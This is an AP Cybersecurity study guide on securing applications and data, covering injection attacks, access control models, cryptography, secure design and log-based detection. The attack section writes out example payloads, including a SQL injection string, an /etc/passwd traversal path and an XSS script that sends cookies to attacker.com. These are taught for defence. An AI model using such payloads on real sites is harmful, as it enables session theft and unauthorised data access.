AP Cybersecurity Unit 5 ReviewSecuring Applications and Data

What's This Unit All About?

• Data and the applications that handle it sit at the center of nearly every cyberattack, since adversaries ultimately want to steal, alter, or destroy information that has value.
• Adversaries exploit specific weaknesses in how applications accept input, how files are stored on disk, and how user permissions are configured, so defenders need to understand attack mechanics before they can stop them.
• Cryptography provides the mathematical foundation for confidentiality and integrity, protecting data when it is sitting on a drive, traveling across a network, or being verified for tampering.
• Access control models give organizations a structured way to decide who (or what) can read, write, or execute which resources, and these models scale from a single Linux file to an entire military classification system.
• Managerial controls (cryptography policies, web application security policies, data classification labels) translate technical security into organizational rules that comply with laws like HIPAA, COPPA, and PCI-DSS.
• Secure-by-design and secure-by-default thinking shifts security earlier in the development lifecycle, so products ship safe rather than relying on customers to harden them later.
• Detection closes the loop: even with strong prevention, log analysis, honeypots, hashes, and DLP tools are needed to catch attacks that slip through.
• The unit builds directly on earlier work in threat modeling and risk assessment, and it sets up later units on network defense and incident response by grounding both in the data and applications they protect.

Key Concepts and Terms

• Data validation: The process of verifying that user input meets expected criteria (type, length, allowed characters) before an application processes it. Failure to validate is the root cause of most injection attacks.
• SQL injection: An attack where SQL commands and control characters (quotes, semicolons, OR 1=1, --) are inserted into input fields to manipulate a database query, breaching confidentiality or integrity.
• Cross site scripting (XSS): Injection of malicious JavaScript into a website so that a victim's browser executes it. Reflected (Type I) XSS travels in a crafted link; Stored (Type II) XSS lives on the server in comments or posts.
• Buffer overflow: An attack that writes more data into a fixed-size memory buffer than it can hold, overflowing into adjacent memory and potentially executing adversary-controlled code.
• Directory traversal: Manipulation of URLs or GET requests using ../ sequences to escape an intended web directory and reach sensitive files like /etc/passwd.
• Data at rest, in transit, in use: The three states of data, each requiring different protections (physical/disk encryption, transport encryption, access controls).
• PII, PHI, PCI: Three regulated data categories (personal, health, payment card) governed respectively by laws like the Privacy Act and COPPA, HIPAA, and the PCI-DSS standard.
• Access control model: A framework defining how subjects (users, applications) are granted operations on objects (files, programs). Key models include RBAC, RuBAC, DAC, and MAC.
• Bell-LaPadula: A MAC model summarized as "write up, read down" (WURD), enforcing the Simple Security Property and the Star Property to protect classified information.
• Principle of least privilege: The rule that every entity should receive only the access strictly needed for its function, and no more.
• Symmetric vs. asymmetric encryption: Symmetric algorithms (AES) use one shared key; asymmetric algorithms (RSA, ECC) use a public/private key pair where each key reverses the other.
• Keyspace: The total number of possible keys for an algorithm. An n-bit key has a keyspace of 2^n, and on average a brute-force attacker finds the key in 2^(n-1) guesses.
• Plaintext / ciphertext: The input information before encryption and the encrypted output, respectively.
• Secure by design / secure by default: An initiative to embed security into every phase of product development and to ship products with security features already enabled.
• Input sanitization: A function that strips or rejects control characters (single quote, double quote, semicolon) from user input to defeat injection-class attacks.
• Honeypot: A decoy file or system that appears valuable but contains fake data. Any access is by definition suspicious.
• Cryptographic hash function: A repeatable one-way function (e.g., SHA-256) that produces a fixed-length digest, used to detect whether a file has been altered.
• Data loss prevention (DLP): Third-party tools that monitor data access, usage, and transmission across an organization to flag suspicious activity in real time.

How Adversaries Attack Applications and Data

• Unencrypted files are readable by anyone with physical or logical access to the storage device, which is why disk encryption is a baseline control.
  • A laptop stolen from a coffee shop hands over every file on its drive if the disk is not encrypted.
• Privilege escalation gives adversaries the keys to the whole system, so handing out administrative accounts casually multiplies risk.
  • If a marketing employee runs daily as a local admin and clicks a malicious attachment, the malware inherits admin rights.
• Weak access control settings let too many users read or edit files they have no business touching.
• Injection attacks all share one root cause: applications that trust user input.
  • SQL injection: typing ' OR 1=1 -- into a login field to dump a user table.
  • XSS: posting <script>document.location='http://attacker.com/?c='+document.cookie</script> in a forum comment.
  • Directory traversal: changing an image URL to ../../../etc/passwd.
• Buffer overflows exploit memory layout rather than logic, overwriting adjacent memory to crash a program or run injected shellcode.
• Web applications take input through URLs, query strings, cookies, headers, and form fields, and every one of those channels is a potential attack surface.

Classifying Data and Assigning Risk

• Risk level scales with data sensitivity and exploit likelihood, so the same control can be overkill for one dataset and dangerously weak for another.
  • High risk: Air Force jet engine specs sitting on an unencrypted drive.
  • Moderate risk: a customer PII spreadsheet encrypted with a key that is too short.
  • Low risk: a CEO's internal memos on an unencrypted share drive with no access controls.
• The CIA triad maps onto data risk directly: confidentiality (theft), integrity (tampering), availability (destruction or ransomware).
• Regulated data categories trigger specific legal requirements.
  • PII falls under the Privacy Act of 1974; for users under 13, COPPA applies.
  • PHI falls under HIPAA (1996).
  • PCI data must follow PCI-DSS, set by the card industry.
• Organizations label regulated data and write policies that match the law, then enforce those policies through technical controls.

Access Control Models in Practice

• Every access control decision involves three things: a subject, an operation, and an object.
• Role-based access control (RBAC) assigns permissions to roles, not individuals.
  • Only users in the "accountant" role can open the payroll software, regardless of who specifically holds that role this quarter.
• Rule-based access control (RuBAC) layers conditional rules on top of another model.
  • A database is unreachable between 8 p.m. and 6 a.m. local time, even for normally authorized users.
• Discretionary access control (DAC) lets file owners set permissions themselves.
  • Bob creates a document, grants Alice edit rights, gives Frank read-only, and denies everyone else.
• Mandatory access control (MAC) enforces strict, administrator-assigned levels.
  • Bell-LaPadula's "write up, read down": a Secret-cleared analyst can read Confidential files and write into Top Secret files, but cannot read Top Secret or write into Confidential.
• The principle of least privilege underlies all four models: give each entity exactly the access it needs and nothing more.
• On Linux, permissions are set per file owner, group, and others, in rwx format.
  • ls -l shows the current bits; a trailing + means additional ACLs visible via getfacl.
  • chmod 750 test gives owner rwx, group r-x, others none.
  • chmod ug+rx testfile adds read and execute for owner and group symbolically.

Cryptography: Symmetric, Asymmetric, and Key Length

• Encryption combines plaintext with a key to produce ciphertext; decryption reverses the process.
• Symmetric encryption uses one shared key for both directions.
  • AES is the dominant standard, encrypting in 128-bit blocks and supporting key lengths of 128, 192, or 256 bits.
  • AES protects Wi-Fi (WPA2/WPA3), HTTPS sessions, full-disk encryption, and hardware enclaves.
  • openssl enc -aes-128-cbc -e -in test -k password -out test.enc performs file encryption from a terminal.
• Asymmetric encryption uses a mathematically linked public/private key pair.
  • The public key is published; the private key is guarded. Anything one encrypts, only the other can decrypt.
  • To send a secret to Alice, encrypt with Alice's public key; only Alice's private key can decrypt it.
  • RSA and elliptic curve cryptography (ECC) are the most common algorithms, with RSA commonly used at 2048 or 4096 bits.
  • openssl genrsa -out rsa.pem 2048 generates a fresh RSA key pair.
• Key length determines keyspace and therefore brute-force resistance.
  • An n-bit key has 2^n possible values; random guessing finds it on average in 2^(n-1) tries.
  • Longer keys are stronger but slower, and recommended lengths rise over time as computing power grows.
  • AES 256 is stronger than AES 128; RSA 4096 is stronger than RSA 2048; AES and RSA bit lengths cannot be compared directly.
• Private key compromise destroys the entire scheme, so a leaked key forces immediate key-pair regeneration.

Building and Defending Secure Applications

• Secure by design treats security as a baseline design principle rather than a bolt-on feature.
  • Companies own customer security outcomes.
  • Companies embrace radical transparency about vulnerabilities and patches.
  • Companies build leadership and structure around a security-first posture.
• Secure by default means products ship with protective features already turned on, so a non-expert customer is safe out of the box.
• Input sanitization is the single most effective defense against injection-class attacks.
  • Stripping or rejecting control characters (', ", ;) blocks SQL injection, XSS, and directory traversal in one move.
• Managerial controls codify these technical practices.
  • A cryptography policy lists approved algorithms, minimum key lengths, and key-storage rules.
  • A web application security policy defines when assessments run, what tools to use, and how quickly vulnerabilities must be remediated based on severity.

Detecting Attacks Through Logs, Honeypots, and Hashes

• Accounting (recording who accessed what, when, and from where) produces the logs that detection relies on.
  • Files accessed outside normal hours, from unusual locations, or by users who never touched them before are red flags.
• Honeypots provide nearly instant detection because any access is, by definition, illegitimate.
  • A file named customer_credit_cards.xlsx with fake data sitting on a file share will alert defenders the moment an intruder opens it.
• Cryptographic hashes detect integrity violations after the fact.
  • sha256sum testfile in BASH, Get-FileHash testfile -Algorithm SHA256 in PowerShell, shasum -a 256 testfile in zsh.
  • A changed hash means a changed file; an unchanged hash does not prove a file was not read or copied.
• Data loss prevention (DLP) services give the strongest real-time coverage at higher cost, monitoring access, usage, and transmission organization-wide.
• The choice of detection control depends on cost, data sensitivity, and regulatory category.
  • Healthcare and financial systems demand richer detection because of both attack appeal and legal mandates.
• Specific log patterns map to specific attacks.
  • SQL injection: OR 1=1, --, capitalized keywords like WHERE, FROM, IN, plus stray quotes in input fields.
  • XSS: <script>...</script> tags appearing in form submissions or stored content.
  • Buffer overflow: abnormally long URLs, cookies, query strings, or total request lengths.
  • Directory traversal: ../ sequences in HTTP GET request paths.
• Detection methods carry false-negative risks: a hash check misses pure read-and-copy theft, and a honeypot misses attackers who never trip it.